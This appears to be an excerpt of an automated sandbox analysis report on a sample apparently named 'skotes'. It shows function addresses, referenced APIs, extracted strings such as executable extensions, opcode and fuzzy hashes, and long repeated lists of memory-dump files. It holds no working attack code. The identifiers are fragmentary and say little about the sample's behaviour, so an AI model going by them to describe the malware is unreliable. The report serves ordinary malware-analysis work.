Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vb
API String ID: 3213747228-1055410840
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 21abd1d42bf84a7feb39b7d9fac04e2b448b4c2b7210a99b93aa91345aa72b4b
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 7AB15832A00A659FDB15CF28D841BFEBBE6EF45360F15816AE844EB342D6349D02CF94

Function 006367A9 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00636902
__alloca_probe_16.LIBCMT ref: 00636998
__freea.LIBCMT ref: 00636A03
__freea.LIBCMT ref: 00636A0F

Strings

ejc, xrefs: 00636949, 0063681A

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID: ejc
API String ID: 1635606685-4210320150
Opcode ID: 9b46ddc71d765c1ce01d7fbe13ec54961500d0c0f5bce6fa68d75d4b3150a6c0
Instruction ID: b7218ad1fdd6ca77e416d03f5bacc6ef2ca26acd93abe117c32a412c338e5f16
Opcode Fuzzy Hash: 9b46ddc71d765c1ce01d7fbe13ec54961500d0c0f5bce6fa68d75d4b3150a6c0
Instruction Fuzzy Hash: BA81AD72D0025ABADF219FA5C881AEE7BB7DF09714F19C159F805BB281D6318C418BE0

Function 00621B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00621B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00621B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00621C2A

Strings

pContext, xrefs: 00621C22
switchState, xrefs: 00621B5E

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 25e713cecef2da7fed5ef05f101382bde4be0687f83c8d76d37f7ab9ca1743f7
Instruction ID: 2d48389e6839ab3e7441019ab4ff2970189836d26f80a843693a002af63cb836
Opcode Fuzzy Hash: 25e713cecef2da7fed5ef05f101382bde4be0687f83c8d76d37f7ab9ca1743f7
Instruction Fuzzy Hash: 9531C535A44624ABCF14EF64D881AADB377BF66310F204569E9119B382EB71EE01CE94

Function 0062727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 006272BE

Strings

.exe, xrefs: 006272CB
.com, xrefs: 006272FE
.bat, xrefs: 006272ED
.cmd, xrefs: 006272DC

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 8871ad37f0178c95bd6bb247ff9715f6e999ea5d8134238fa05e313459726824
Instruction ID: ff2a8e43265be1e04f13094cf0bd9ab424411a36d1d26fe99269c00a5218bb2c
Opcode Fuzzy Hash: 8871ad37f0178c95bd6bb247ff9715f6e999ea5d8134238fa05e313459726824
Instruction Fuzzy Hash: 0D010427718E33256B159059BD02FA7178B8BC2BB4B2A402EFC54F72C1EF44DC4229A4

Function 0060FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0060FB06

Strings

SetThreadGroupAffinity, xrefs: 0060FA87
GetCurrentProcessorNumberEx, xrefs: 0060FABE
GetThreadGroupAffinity, xrefs: 0060FA93
kernel32.dll, xrefs: 0060FA7A

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: ff0542ed5bced1439be5ce4c0c5649294efebb352917483e9fa966d855ad8b86
Instruction ID: 06fff34aa9a00f2d4cca3b1420ea7905feb57f69ae5f6d7a1ca7330e4a4a4901
Opcode Fuzzy Hash: ff0542ed5bced1439be5ce4c0c5649294efebb352917483e9fa966d855ad8b86
Instruction Fuzzy Hash: B2016D357C13156E9728B7B45C4EAEB35DF9D09340B30153AB401E6281FFB4D8800568

Function 00622097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 006220B7

Part of subcall function 0061CAF3: Mailbox.LIBCMT ref: 0061CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006220C8
StructuredWorkStealingQueue.LIBCMT ref: 006220FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0062210F

Strings

e, xrefs: 006220D9

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
